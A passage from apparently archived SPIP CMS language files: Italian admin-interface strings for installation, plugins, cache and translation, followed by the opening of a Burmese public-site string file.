'info_tout_site3' => 'L’articolo è stato tradotto in questa lingua, ma sono state effettuate alcune modifiche all’articolo di riferimento. La traduzione deve quindi essere aggiornata.',
'info_tout_site4' => 'L’articolo è stato tradotto in questa lingua e la traduzione è aggiornata.',
'info_tout_site5' => 'Articolo originale.',
'info_tout_site6' => '<b>Attenzione:</b> solo gli articoli originali vengono visualizzati.
Le traduzioni sono associate all’originale,
in un colore che indica il loro stato:',
'info_travail_colaboratif' => 'Lavoro di collaborazione sugli articoli',
'info_un_article' => 'un articolo, ',
'info_un_site' => 'un sito, ',
'info_une_rubrique' => 'una rubrica, ',
'info_une_rubrique_02' => '1 rubrica',
'info_url' => 'URL:',
'info_url_site' => 'URL DEL SITO:',
'info_urlref' => 'Link ipertestuale:',
'info_utilisation_spip' => 'Puoi ora cominciare ad utilizzare il sistema di pubblicazione assistita...',
'info_visites_par_mois' => 'Visualizzazione per mese:',
'info_visiteur_1' => 'Visitatori',
'info_visiteur_2' => 'del sito pubblico',
'info_visiteurs' => 'Visitatori',
'info_visiteurs_02' => 'Visitatori del sito pubblico',
'install_adresse_base_hebergeur' => 'Indirizzo del database attribuito dal provider',
'install_base_ok' => 'Il database @base@ è stato riconosciuto',
'install_echec_annonce' => 'L’installazione potrebbe fallire oppure causare problemi di funzionalità al sito...',
'install_extension_mbstring' => 'SPIP non funziona con:',
'install_extension_php_obligatoire' => 'SPIP esige l’estensione php:',
'install_login_base_hebergeur' => 'Login di connessione attribuito dal provider',
'install_nom_base_hebergeur' => 'Nome del database attribuito dal provider:',
'install_pas_table' => 'Database attualmente senza tabelle',
'install_pass_base_hebergeur' => 'Password di connessione attribuito dal provider',
'install_php_version' => 'PHP versione @version@ insufficiente (minimo = @minimum@)',
'install_select_langue' => 'Seleziona una lingua e poi clicca sul bottone « Avanti » per lanciare la procedura di installazione.',
'install_select_type_db' => 'Indicare il tipo di database:',
'install_select_type_mysql' => 'MySQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Server del database attribuito dall’hoster',
'install_table_prefix_hebergeur' => 'Prefisso della tabella attribuito dal provider:',
'install_tables_base' => 'Tabelle del database',
'install_types_db_connus' => 'SPIP può utilizzare <b>MySQL</b> (il più diffuso), <b>PostgreSQL</b> e <b>SQLite</b>.', # MODIF
'install_types_db_connus_avertissement' => 'Attenzione: numerosi plug-in funziano solamente con MySQL', # MODIF
'intem_redacteur' => 'redattrice',
'intitule_licence' => 'Licenza',
'item_accepter_inscriptions' => 'Accetta le iscrizioni',
'item_activer_messages_avertissement' => 'Attiva i messaggi d’avvertimento',
'item_administrateur_2' => 'amministratrice',
'item_afficher_calendrier' => 'Pubblica nel calendario',
'item_autoriser_documents_joints' => 'Consenti di allegare documenti agli articoli',
'item_autoriser_documents_joints_rubriques' => 'Consenti di allegare documenti alle rubriche',
'item_autoriser_syndication_integrale' => 'Diffondere la versione integrale degli articoli nei file di syndication',
'item_choix_administrateurs' => 'le amministratrici',
'item_choix_generation_miniature' => 'Genera automaticamente le thumbnail delle immagini.',
'item_choix_non_generation_miniature' => 'Non creare le thumbnail delle immagini.',
'item_choix_redacteurs' => 'le redattrici',
'item_choix_visiteurs' => 'i visitatori del sito pubblico',
'item_creer_fichiers_authent' => 'Crea i file .htpasswd',
'item_limiter_recherche' => 'Limita la ricerca alle informazioni contenute nel tuo sito',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Attiva la messaggistica e l’agenda',
'item_mots_cles_association_articles' => 'agli articoli',
'item_mots_cles_association_rubriques' => 'alle rubriche',
'item_mots_cles_association_sites' => 'ai siti repertoriati o in syndication.',
'item_non' => 'No',
'item_non_accepter_inscriptions' => 'Non accettare le iscrizioni',
'item_non_activer_messages_avertissement' => 'Nessun messaggio d’avvertimento',
'item_non_afficher_calendrier' => 'Non pubblicare nel calendario',
'item_non_autoriser_documents_joints' => 'Non consentire di allegare documenti agli articoli',
'item_non_autoriser_documents_joints_rubriques' => 'Non consentire di allegare documenti alle rubriche',
'item_non_autoriser_syndication_integrale' => 'Diffondere solo un riassunto',
'item_non_compresseur' => 'Disattiva la compressione',
'item_non_creer_fichiers_authent' => 'Non creare questi file',
'item_non_gerer_statistiques' => 'Non gestire le statistiche',
'item_non_limiter_recherche' => 'Estendi la ricerca al contenuto dei siti in syndication',
'item_non_messagerie_agenda' => 'Disattiva la messaggistica e l’agenda',
'item_non_publier_articles' => 'Non pubblicare gli articoli prima della data impostata.',
'item_non_utiliser_moteur_recherche' => 'Non utilizzare il motore di ricerca',
'item_nouvel_auteur' => 'Nuova autrice',
'item_nouvelle_rubrique' => 'Nuova rubrica',
'item_oui' => 'Sì',
'item_publier_articles' => 'Pubblica gli articoli indipendentemente dalla data impostata.',
'item_reponse_article' => 'Risposta all’articolo ',
'item_utiliser_moteur_recherche' => 'Utilizza il motore di ricerca',
'item_visiteur' => 'visitatore',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'lien_ajout_destinataire' => 'Aggiungi il destinatario',
'lien_ajouter_auteur' => 'Aggiungi questa autrice',
'lien_ajouter_participant' => 'Aggiungi una partecipante',
'lien_email' => 'email',
'lien_nom_site' => 'NOME DEL SITO:',
'lien_retirer_auteur' => 'Rimuovere l’autrice',
'lien_retrait_particpant' => 'rimuovere questa partecipante',
'lien_site' => 'sito',
'lien_supprimer_rubrique' => 'elimina la rubrica',
'lien_tout_deplier' => 'Espandi',
'lien_tout_replier' => 'Richiudi',
'lien_tout_supprimer' => 'Eliminare tutto',
'lien_trier_nom' => 'Ordina per nome',
'lien_trier_nombre_articles' => 'Ordina per numero di articoli',
'lien_trier_statut' => 'Ordina per status',
'lien_voir_en_ligne' => 'VEDI ON LINE:',
'logo_article' => 'LOGO DELL’ARTICOLO', # MODIF
'logo_auteur' => 'LOGO DELL’AUTORE', # MODIF
'logo_rubrique' => 'LOGO DELLA RUBRICA', # MODIF
'logo_site' => 'LOGO DI QUESTO SITO ', # MODIF
'logo_standard_rubrique' => 'LOGO STANDARD DELLE RUBRICHE', # MODIF
'logo_survol' => 'LOGO ROLLOVER', # MODIF
// M
'menu_aide_installation_choix_base' => 'Scegliere il database',
'module_fichier_langue' => 'File lingua',
'module_raccourci' => 'Scorciatoia',
'module_texte_affiche' => 'Testo visualizzato',
'module_texte_explicatif' => 'È possibile inserire le scorciatoie nel modello di layout del proprio sito pubblico. Queste verranno tradotte automaticamente nelle diverse lingue (se esiste già un file lingua).',
'module_texte_traduction' => 'Il file lingua «@module@» è disponibile in:',
'mois_non_connu' => 'sconosciuto',
// O
'onglet_contenu' => 'Contenuto',
'onglet_declarer_une_autre_base' => 'Dichiarare un altro database',
'onglet_discuter' => 'Discuti',
'onglet_documents' => 'Documenti',
'onglet_interactivite' => 'Interattività',
'onglet_proprietes' => 'Proprietà',
'onglet_repartition_actuelle' => 'attualmente',
'onglet_sous_rubriques' => 'Sotto-rubriche',
// P
'page_pas_proxy' => 'Questa pagina non deve passare attraverso il proxy',
'pas_de_proxy_pour' => 'Se necessario, indicare i server o i domini per i quali non si deve applicare questo proxy (per esempio: @exemple@)',
'plugin_charge_paquet' => 'Caricamento del pacchetto @name@',
'plugin_erreur_charger' => 'errore: impossibile caricare @zip@',
'plugin_erreur_droit1' => 'La cartella <code>@dest@</code> non ha i permessi di scrittura.',
'plugin_erreur_droit2' => 'Verificare i diritti su questa cartella (e, se necessario, crearla), o installare i file tramite FTP.',
'plugin_erreur_zip' => 'fallimento pclzip: errore @status@',
'plugin_etat_developpement' => 'in corso di sviluppo',
'plugin_etat_experimental' => 'sperimentale',
'plugin_etat_stable' => 'stabile',
'plugin_etat_test' => 'in prova',
'plugin_impossible_activer' => 'Impossibile attivare il plug-in @plugin@',
'plugin_info_automatique1' => 'Se si desidera autorizzare l’installazione automatica dei plug-in è necessario: ',
'plugin_info_automatique2' => 'creare una cartella <code>@rep@</code>;',
'plugin_info_automatique3' => 'verificare che il server sia autorizzato a scrivere in questa cartella.',
'plugin_info_automatique_creer' => 'da creare alla radice del sito.',
'plugin_info_automatique_exemples' => 'esempi:',
'plugin_info_automatique_ftp' => 'È possibile installare plug-in tramite FTP, nella cartella <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'Alcuni plug-in richiedono anche di poter trasferire dei file nella cartella <code>lib/</code>, da creare (se necessario) alla radice del sito.',
'plugin_info_automatique_liste' => 'Gli elenchi dei plug-in:',
'plugin_info_automatique_liste_officielle' => 'i plug-in ufficiali',
'plugin_info_automatique_liste_update' => 'Aggiornare gli elenchi',
'plugin_info_automatique_ou' => 'oppure...',
'plugin_info_automatique_select' => 'Selezionata un plug-in qui sotto: SPIP lo scaricherà e lo installerà nella cartella <code>@rep@</code>; se questo plug-in è già presente verrà aggiornato.',
'plugin_info_telecharger' => 'da scaricare da @url@ e da installare in @rep@',
'plugin_librairies_installees' => 'Librerie installate',
'plugin_necessite_lib' => 'Questo plug-in richiede la libreria @lib@',
'plugin_necessite_plugin' => 'Necessita il plug-in @plugin@ con almeno la versione @version@.',
'plugin_necessite_spip' => 'Necessita SPIP con almeno la versione @version@.',
'plugin_source' => 'origine: ',
'plugin_titre_automatique' => 'Installazione automatica',
'plugin_titre_automatique_ajouter' => 'Aggiungere dei plug-in',
'plugin_zip_active' => 'Continuare per attivarlo',
'plugin_zip_adresse' => 'indicate qui sotto l’indirizzo di un file zip del plug-in da scaricare, oppure l’indirizzo di un elenco di plug-in.',
'plugin_zip_adresse_champ' => 'Indirizzo del plug-in o dell’elenco ',
'plugin_zip_content' => 'Esso contiene i file seguenti (@taille@),<br />pronti per essere installati nella cartella <code>@rep@</code>',
'plugin_zip_installe_finie' => 'Il file @zip@ è stato decompresso e installato.',
'plugin_zip_installe_rep_finie' => 'Il file @zip@ è stato decompresso e installato nella cartella @rep@',
'plugin_zip_installer' => 'Ora è possibile installarlo.',
'plugin_zip_telecharge' => 'Il file @zip@ è stato scaricato',
'plugins_actifs' => '@count@ plug-in attivati.',
'plugins_compte' => '@count@ plug-in',
'plugins_disponibles' => '@count@ plug-in disponibili.',
'plugins_erreur' => 'Errore nei plug-in: @plugins@',
'plugins_liste' => 'Elenco dei plugin',
'plugins_vue_hierarchie' => 'Struttura gerarchica',
'plugins_vue_liste' => 'Elenco',
'protocole_ldap' => 'Versione del protocollo:',
// R
'repertoire_plugins' => 'Cartella:',
// S
'sans_heure' => 'ora mancante',
'statut_admin_restreint' => '(ammin parziale)', # MODIF
// T
'taille_cache_image' => 'Le immagini elaborate automaticamente da SPIP (icone dei documenti, titoli in formato grafico, funzioni matematiche in formato TeX...) occupano nella cartella @dir@ in tutto @taille@.',
'taille_cache_infinie' => 'Questo sito non prevede limiti alle dimensioni della cartella della cache.',
'taille_cache_maxi' => 'SPIP tenta di limitare le dimensioni della cartella della cache di questo sito a circa <b>@octets@</b> di dati.',
'taille_cache_octets' => 'La cartella della cache occupa attualmente @octets@ su disco.', # MODIF
'taille_cache_vide' => 'La cache è vuota.',
'taille_repertoire_cache' => 'Dimensioni della cartella di cache',
'text_article_propose_publication' => 'Articolo proposto per la pubblicazione. ',
'texte_acces_ldap_anonyme_1' => 'Alcuni server LDAP non consentono accessi anonimi. In questo caso si deve specificare un identificatore d’accesso iniziale al fine di poter poi ricercare delle informazioni nell’elenco. Nella maggior parte dei casi tuttavia, i campi seguenti potranno essere lasciati vuoti.',
'texte_admin_effacer_01' => 'Questo commando cancella <i>tutto</i> il contenuto del database,
compresi <i>tutti</i> i login delle redattrici e delle amministratrici. Dopo averlo eseguito, dovrai riavviare la procedura di installazione per ricreare un nuovo database e un primo ID amministrativo.',
'texte_adresse_annuaire_1' => '(Se la rubrica è installata nella stessa macchina di questo sito, dovrai probabilmente inserire "localhost".)',
'texte_ajout_auteur' => 'La seguente autrice è stata aggiunta all’articolo:',
'texte_annuaire_ldap_1' => 'Se hai accesso ad una rubrica (LDAP), puoi utilizzarla per importare automaticamente delle utenti sotto SPIP.',
'texte_article_statut' => 'Questo articolo è:',
'texte_article_virtuel' => 'Articolo virtuale',
'texte_article_virtuel_reference' => '<b>Articolo virtuale:</b> articolo citato nel tuo sito SPIP, ma reindrizzato verso un’altro URL. Per eliminare il reindirizzamento, cancella l’URL qui sopra.',
'texte_aucun_resultat_auteur' => 'Nessun risultato per "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Questo sito può costantemente visualizzare la lista delle redattrici collegate, permettendo lo scambio di messaggi in tempo reale. Si può però decidere di non comparire in questo elenco (rendendosi quindi «invisibili» alle altre utenti).',
'texte_auteur_messagerie_1' => 'Questo sito permette lo scambio di messaggi e la costituzione di forum di discussione privati tra le partecipanti al sito. Puoi però decidere di non partecipare a questi scambi.',
'texte_auteurs' => 'LE AUTRICI',
'texte_choix_base_1' => 'Scegli il database:',
'texte_choix_base_2' => 'Il server SQL contiene diversi database.',
'texte_choix_base_3' => '<b>Seleziona</b> quello che è stato attribuito al tuo dominio:',
'texte_choix_table_prefix' => 'Prefisso delle tabelle:',
'texte_commande_vider_tables_indexation' => 'Utilizza questo comando per svuotare le tabelle d’incidizzazione utilizzate
dal motore di ricerca integrato di SPIP. Ciò permetterà
di guadagnare spazio sul disco.',
'texte_compresse_ou_non' => '(può essere compresso o meno)',
'texte_compte_element' => '@count@ elemento',
'texte_compte_elements' => '@count@ elementi',
'texte_conflit_edition_correction' => 'Controllare qui sotto le differenze tra le due versioni del testo; è possibile anche copiare le modifiche e poi ricominciare.',
'texte_connexion_mysql' => 'Consulta le informazioni fornite dal tuo hoster: devi poterci trovare, i codici di collegamento alla base di dati.',
'texte_contenu_article' => 'Contenuto dell’articolo in poche parole (<em>abstract</em>)',
'texte_contenu_articles' => 'A seconda del modello di presentazione adottato per il sito, puoi decidere
che alcuni elementi degli articoli siano utilizzati oppure no.
Serviti dell’elenco qui sotto per indicare quali elementi rendere disponibili.',
'texte_crash_base' => 'Se il database è stato danneggiato, puoi tentare un ripristino automatico.',
'texte_creer_rubrique' => 'Prima di poter scrivere degli articoli,<br /> devi creare una rubrica.',
'texte_date_creation_article' => 'DATA DI CREAZIONE DELL’ARTICOLO:',
'texte_date_publication_anterieure' => 'DATA DI REDAZIONE ANTERIORE',
'texte_date_publication_anterieure_nonaffichee' => 'Non visualizzare la data di redazione anteriore.',
'texte_date_publication_article' => 'DATA DI PUBBLICAZIONE:',
'texte_descriptif_petition' => 'Descrizione della petizione',
'texte_descriptif_rapide' => 'Descrizione rapida',
'texte_effacer_base' => 'Cancella il database SPIP',
'texte_effacer_donnees_indexation' => 'Cancella i dati d’indicizzazione',
'texte_effacer_statistiques' => 'Cancellare le statistiche',
'texte_en_cours_validation' => 'Gli articoli e le brevi elencati qui sotto sono proposti per la pubblicazione. ', # MODIF
'texte_enrichir_mise_a_jour' => 'Puoi arricchire la formattazione del testo utilizzando le «scorciatoie tipografiche»',
'texte_fichier_authent' => '<b>SPIP deve creare i file speciali <tt>.htpasswd</tt>
e <tt>.htpasswd-admin</tt> nella cartella @dossier@?</b><p>
Questi file possono servire a limitare l’accesso alle autrici
e alle amministratrici in particolari aree del sito
(per esempio, per un programma esterno di statistiche).</p><p>
Se ciò non è necessario, lasciare quest’opzione
al suo valore predefinito (nessuna creazione
di file).</p>', # MODIF
'texte_informations_personnelles_1' => 'Il sistema creerà un tuo accesso personalizzato al sito.',
'texte_informations_personnelles_2' => '(Nota: se si tratta di una reinstallazione, e il tuo accesso funziona ancora, puoi ', # MODIF
'texte_introductif_article' => 'Testo introduttivo dell’articolo',
'texte_jeu_caractere' => 'Si consiglia di utilizzare sul proprio sito l’alfabeto universale (<tt>utf-8</tt>): esso permette di visualizzare i testi in tutte le lingue e non pone problemi di compatibilità con i browser moderni.',
'texte_jeu_caractere_2' => 'Attenzione: questa impostazione non causa la conversione dei testi già registrati nel database.',
'texte_jeu_caractere_3' => 'Il tuo sito usa attualmente il set di caratteri:',
'texte_jeu_caractere_4' => 'Se ciò non corrisponde alla realtà dei propri dati (a causa, per esempio, di un ripristino del database), o se <em>si avvia il sito</em> e si desidera partire con un altro set di caratteri è necessario indicare quest’ultimo qui:',
'texte_jeu_caractere_conversion' => 'Nota: è possibile decidere di convertire una volta per tutte tutti i testi del sito (articoli, brevi, forum, ecc.) nell’alfabeto <tt>utf-8</tt>, andando sulla <a href="@url@">pagina di conversione in utf-8</a>.',
'texte_lien_hypertexte' => '(Se il tuo messaggio si riferisce ad un articolo pubblicato sul Web, o ad una pagina che fornisce informazioni supplementari, indica il titolo della pagina e il suo indirizzo URL.)',
'texte_login_ldap_1' => '(Lascia vuoto per un accesso anonimo, o inserisci il percorso completo, per esempio «<tt>uid=rossi, ou=users, dc=mio-dominio, dc=com</tt> ».)',
'texte_login_precaution' => 'Attenzione! Questo è l’ID con il quale sei attualmente collegato.
Utilizza questo modulo con cognizione di causa...',
'texte_message_edit' => 'Attenzione: questo messaggio può essere modificato da tutte le amministratrici del sito, ed è visibile da tutte le redattrici. Utilizza gli annunci solo per esporre degli eventi importanti per la vita del sito.',
'texte_messagerie_agenda' => 'La messageria permette alle redattrici del sito di comunicare tra loro in maniera diretta nell’area riservata. Essa è associata a una agenda.',
'texte_mise_a_niveau_base_1' => 'Hai aggiornato i file SPIP.
Adesso è necessario aggiornare il database.',
'texte_modifier_article' => 'Modifica l’articolo:',
'texte_moteur_recherche_active' => '<b>Il motore di ricerca è attivato.</b> Utilizza questo commando
se vuoi procedere a una reindicizzazione rapida (dopo il ripristino
di un salvataggio, per esempio). Nota bene: i documenti modificati in modo standard (con l’interfaccia di SPIP) sono automaticamente
reindicizzati. Questo commando, quindi, è utile solo in casi eccezionali.',
'texte_moteur_recherche_non_active' => 'Il motore di ricerca non è attivato.',
'texte_multilinguisme' => 'Se desideri gestire gli articoli in diverse lingue, con un sistema di navigazione complesso, è possibile aggiungere un menu di selezione della lingua negli articoli e/o nelle rubriche, in funzione della struttura del sito.', # MODIF
'texte_multilinguisme_trad' => 'È anche possibile attivare un sistema di gestione dei link fra le diverse traduzioni di un articolo.', # MODIF
'texte_non_compresse' => '<i>non compresso</i> (il tuo server non supporta questa funzionalità)',
'texte_nouveau_message' => 'Nuovo messaggio',
'texte_nouvelle_version_spip_1' => 'Hai installato una nuova versione di SPIP.',
'texte_nouvelle_version_spip_2' => 'Questa nuova versione necessita un aggiornamento più radicale del solito. Se sei la webmistress del sito, cancella il file @connect@ e riprendi l’installazione al fine di aggiornare i parametri di connessione al database.<p> (NB: se hai dimenticato i parametri di connessione, rileggi il file @connect@ prima di cancellarlo...)</p>', # MODIF
'texte_operation_echec' => 'Torna alla pagina precedente, seleziona un altro database o creane uno nuovo. Verifica le informazioni fornite dal tuo hoster.',
'texte_plus_trois_car' => 'più di tre caratteri',
'texte_plusieurs_articles' => 'Diversi autori trovati per "@cherche_auteur@":',
'texte_port_annuaire' => '(Il valore predefinito è in genere quello adatto.)',
'texte_presente_plugin' => 'Questa pagina elenca i plugin disponibili sul sito. È possibile attivare i plugin necessari selezionando la casella corrispondente.',
'texte_proposer_publication' => 'Quando l’articolo è completo,<br /> puoi proporne la pubblicazione.',
'texte_proxy' => 'In alcuni casi (intranet, reti protette...), i siti distanti (documetazione di SPIP, siti in syndication, ecc.) sono accessibili unicamente attraverso un <i>proxy HTTP</i>. In questo caso, va indicato l’indirizzo del server nella forma @proxy_en_cours@. In genere questa casella va lasciata vuota.',
'texte_publication_articles_post_dates' => 'Come si deve comportare SPIP quando gli articoli hanno
una data di pubblicazione impostata nel futuro?',
'texte_rappel_selection_champs' => '[Non dimenticare di impostare correttamente questo campo]',
'texte_recalcul_page' => 'Se vuoi rigenerare
una sola pagina, utilizza piuttosto lo spazio pubblico e clicca sul pulsante «rigenera».',
'texte_recapitiule_liste_documents' => 'Questa pagina mostra l’elenco dei documenti allegati alle rubriche. Per modificare le informazioni di un documento, seguire il link verso la relativa pagina di rubrica.',
'texte_recuperer_base' => 'Ripara il database',
'texte_reference_mais_redirige' => 'articolo catalogato nel tuo sito SPIP, ma con reindirizzamento verso un altro URL.',
'texte_requetes_echouent' => '<b>Quando alcune query SQL falliscono
ripetutamente e senza un chiaro motivo, è possibile
che sia per colpa del database stesso.</b><p>
SQL dispone di una funzione di ripristino delle tabelle
danneggiate inavvertitamente. È possibile tentare il ripristino;
in caso di errore, conservare una copia del messaggio visualizzato,
contenente forse delle informazioni preziose...</p><p>
Se il problema persiste, contattare la webmistress.</p>', # MODIF
'texte_selection_langue_principale' => 'Puoi selezionare qui sotto la «lingua predefinita» del sito. Questa scelta non obbliga - fortunatamente! - a scrivere gli articoli nella stessa lingua, ma permette di determinare:
<ul><li> il formato di default delle date sul sito pubblico;</li>
<li> la tipologia di motore tipografico che SPIP deve utilizzare per la resa del testo;</li>
<li> la lingua utilizzata nelle finestre di dialogo del sito pubblico;</li>
<li> la lingua di default nell’area riservata all’amministrazione.</li></ul>',
'texte_sous_titre' => 'Sottotitolo',
'texte_statistiques_visites' => '(barre scure: domenica / curve scure: evoluzione della media)',
'texte_statut_attente_validation' => 'in attesa di convalida',
'texte_statut_publies' => 'pubblicato on line',
'texte_statut_refuses' => 'rifiutati',
'texte_suppression_fichiers' => 'Utilizza questo commando per cancellare tutti i file presenti nella
cache di SPIP. Ciò permette ad esempio di forzare la rigenerazione di tutte le pagine se hai fatto delle importanti modifiche di grafica o di struttura del sito.',
'texte_sur_titre' => 'Occhiello',
'texte_table_ok' => ': questa tabella è OK.',
'texte_tables_indexation_vides' => 'Le tabelle d’indicizzazione del motore sono vuote.',
'texte_tentative_recuperation' => 'Tentativo di ripristino',
'texte_tenter_reparation' => 'Tenta un ripristino del database',
'texte_test_proxy' => 'Per fare una prova di questo proxy, indicare qui l’indirizzo
di un sito Web da testare.',
'texte_titre_02' => 'Titolo:',
'texte_titre_obligatoire' => '<b>Titolo</b> [Obbligatorio]',
'texte_travail_article' => '@nom_auteur_modif@ ha lavorato su questo articolo @date_diff@ minuti fa',
'texte_travail_collaboratif' => 'Se diverse autrici lavorano spesso sullo stesso articolo,
il sistema può segnalare gli articoli «aperti»
di recente al fine di evitare modifiche simultanee.
Questa opzione è disattivata di default
per evitare di generare messaggi d’avvertimento intempestivi.',
'texte_trop_resultats_auteurs' => 'Troppi risultati per "@cherche_auteur@"; restringi la ricerca.',
'texte_unpack' => 'scarica l’ultima versione',
'texte_utilisation_moteur_syndiques' => 'Quando utilizzi il motore di ricerca integrato di SPIP,
puoi effettuare le ricerche sui siti e
gli articoli in syndication
in due modalità diverse. <br />- La più semplice
consiste nel ricercare solo nei titoli e nelle descrizioni degli articoli.<br />-
Un altro metodo, molto più potente, consente
a SPIP di cercare anche nel testo degli articoli in syndication.
Se inserisci un sito nel repertorio, SPIP effettuerà la ricerca anche nel testo del sito stesso.',
'texte_utilisation_moteur_syndiques_2' => 'Questo metodo obbliga SPIP a visitare
regolarmente i siti in repertorio;
in tal caso si può verificare un leggero rallentamento del tuo sito.',
'texte_vide' => 'vuoto',
'texte_vider_cache' => 'Svuota la cache',
'titre_admin_effacer' => 'Manutenzione tecnica',
'titre_admin_tech' => 'Manutenzione tecnica',
'titre_admin_vider' => 'Manutenzione tecnica',
'titre_cadre_afficher_article' => 'Visualizza gli articoli',
'titre_cadre_afficher_traductions' => 'Visualizzare lo stato delle traduzioni per le seguenti lingue:',
'titre_cadre_ajouter_auteur' => 'AGGIUNGI UN’AUTRICE: ',
'titre_cadre_interieur_rubrique' => 'All’interno della rubrica',
'titre_cadre_numero_auteur' => 'AUTRICE NUMERO',
'titre_cadre_signature_obligatoire' => '<b>Firma</b> [Obbligatoria]<br />',
'titre_config_contenu_notifications' => 'Notifiche',
'titre_config_contenu_prive' => 'Nell’area riservata',
'titre_config_contenu_public' => 'Sul sito pubblico',
'titre_config_fonctions' => 'Configurazione del sito',
'titre_configuration' => 'Configurazione del sito',
'titre_conflit_edition' => 'Conflitto all’atto dell’edizione',
'titre_connexion_ldap' => 'Opzioni: <b>La connessione LDAP</b>',
'titre_groupe_mots' => 'GRUPPO DI PAROLE CHIAVE:',
'titre_langue_article' => 'LINGUA DELL’ARTICOLO', # MODIF
'titre_langue_rubrique' => 'LINGUA DELLA RUBRICA', # MODIF
'titre_langue_trad_article' => 'LINGUA E TRADUZIONI DELL’ARTICOLO',
'titre_les_articles' => 'GLI ARTICOLI',
'titre_messagerie_agenda' => 'Messagistica e agenda',
'titre_naviguer_dans_le_site' => 'Navigare nel sito...',
'titre_nouvelle_rubrique' => 'Nuova rubrica',
'titre_numero_rubrique' => 'RUBRICA NUMERO:',
'titre_page_admin_effacer' => 'Manutenzione tecnica: svuota il database',
'titre_page_articles_edit' => 'Modifica: @titre@',
'titre_page_articles_page' => 'Gli articoli',
'titre_page_articles_tous' => 'Tutto il sito',
'titre_page_auteurs' => 'Visitatori',
'titre_page_calendrier' => 'Calendario @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Configurazione del sito',
'titre_page_config_fonctions' => 'Configurazione del sito',
'titre_page_configuration' => 'Configurazione del sito',
'titre_page_controle_petition' => 'Monitoraggio delle petizioni',
'titre_page_delete_all' => 'eliminazione totale e irreversible',
'titre_page_documents_liste' => 'I documenti delle rubriche',
'titre_page_index' => 'Area riservata',
'titre_page_message_edit' => 'Scrivere un messaggio',
'titre_page_messagerie' => 'I tuoi messaggi',
'titre_page_recherche' => 'Risultati della ricerca @recherche@',
'titre_page_statistiques_referers' => 'Statistiche (link al tuo sito)',
'titre_page_statistiques_signatures_jour' => 'Numero di firme al giorno',
'titre_page_statistiques_signatures_mois' => 'Numero di firme al mese',
'titre_page_upgrade' => 'Aggiornamento di SPIP',
'titre_publication_articles_post_dates' => 'Pubblicazione di articoli postdatati',
'titre_referencer_site' => 'Inserire il sito in repertorio:',
'titre_rendez_vous' => 'APPUNTAMENTO:',
'titre_reparation' => 'Riparazione',
'titre_suivi_petition' => 'Monitoraggio delle petizioni',
'tls_ldap' => 'Transport Layer Security:',
'trad_article_inexistant' => 'Non esiste un articolo con questo numero.',
'trad_article_traduction' => 'Tutte le versioni di questo articolo:',
'trad_deja_traduit' => 'Errore: non è possibile collegare questo articolo al numero richiesto.',
'trad_delier' => 'Non collegare più questo articolo alle sue traduzioni', # MODIF
'trad_lier' => 'Questo articolo è una traduzione dell’articolo numero:',
'trad_new' => 'Scrivere una nuova traduzione dell’articolo', # MODIF
// U
'upload_info_mode_document' => 'Mettere questa immagine nel portfolio',
'upload_info_mode_image' => 'Eliminare questa immagine dal portfolio',
'utf8_convert_attendez' => 'Attendi qualche secondo e aggiorna la pagina.',
'utf8_convert_avertissement' => 'Stai per convertire il contenuto del proprio database (articoli, brevi, ecc.) dal set di caratteri <b>@orig@</b> al set di caratteri <b>@charset@</b>.',
'utf8_convert_backup' => 'Non dimenticare di fare prima un backup completo del sito. Inoltre si deve verificare che i modelli e i file lingua sono compatibili @charset@.',
'utf8_convert_erreur_deja' => 'Il tuo sito è già in @charset@, è inutile convertirlo...',
'utf8_convert_erreur_orig' => 'Errore: il set di caratteri @charset@ non è supportato.',
'utf8_convert_termine' => 'Finito!',
'utf8_convert_timeout' => '<b>Importante:</b> in caso di <i>timeout</i> del server, aggiorna la pagina fino a che non si ottiene il messaggio « finito ».',
'utf8_convert_verifier' => 'Ora è necessario svuotale la cache e verificare che non vi siano problemi sulle pagine pubbliche del sito. In caso di problemi gravi è stato effettuato un backup dei dati (in formato SQL) nella cartella @rep@.',
'utf8_convertir_votre_site' => 'Convertire il sito in UTF-8',
// V
'version' => 'Versione:'
);
?>
public_my.php 0000666 00000015026 15252547432 0007261 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=my
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'ပင်မစာမျက်နှာ', # MODIF
'articles' => 'ဆောင်းပါးများ',
'articles_auteur' => 'ဤစာရေးသူ၏ ဆောင်းပါများ',
'articles_populaires' => 'အဖတ်ရဆုံး ဆောင်းပါးများ',
'articles_rubrique' => 'ဤအခန်းကဏ္ဍ ဆောင်းပါးများ',
'aucun_article' => 'ဒီလိပ်စာနှင့် ဆောင်းပါး မရှိပါ',
'aucun_auteur' => 'ဒီလိပ်စာနှင့် စာရေးသူ မရှိပါ',
'aucun_site' => 'ဒီလိပ်စာနှင့် ဝဘ်ဆိုက် မရှိပါ',
'aucune_breve' => 'ဒီလိပ်စာနှင့် သတင်း မရှိပါ',
'aucune_rubrique' => 'ဒီလိပ်စာနှင့် အခန်းကဏ္ဍ မရှိပါ',
'autres_breves' => 'တခြားသတင်း',
'autres_groupes_mots_clefs' => 'တခြားစကားစု',
'autres_sites' => 'တခြားဝဘ်ဆိုက်များ',
// B
'bonjour' => 'ဟေလို',
// C
'commenter_site' => 'ဝဘ်ဆိုက်ပေါ် မှတ်ချက်များ',
// D
'date' => 'နေ့စွဲ',
'dernier_ajout' => 'နောက်ဆုံးထည့်သွင်းခြင်း',
'dernieres_breves' => 'နောက်ဆုံးရ သတင်းများ',
'derniers_articles' => 'နောက်ဆုံးရ ဆောင်းပါးများ',
'derniers_commentaires' => 'နောက်ဆုံးရ မှတ်ချက်များ',
'derniers_messages_forum' => 'ဖိုရမ်တွင် နောက်ဆုံး ထုတ်လွင်သည့် အချက်အလက်များ',
// E
'edition_mode_texte' => 'စာသားသက်သက်',
'en_reponse' => 'သို့ စာပြန်ရန်',
'en_resume' => 'အချဉ်းချူံး',
'envoyer_message' => 'အချက်အလက်များ ပို့ရန်',
'espace_prive' => 'ကိုယ်ပိုင်ကန့်သတ်နေရာ',
// H
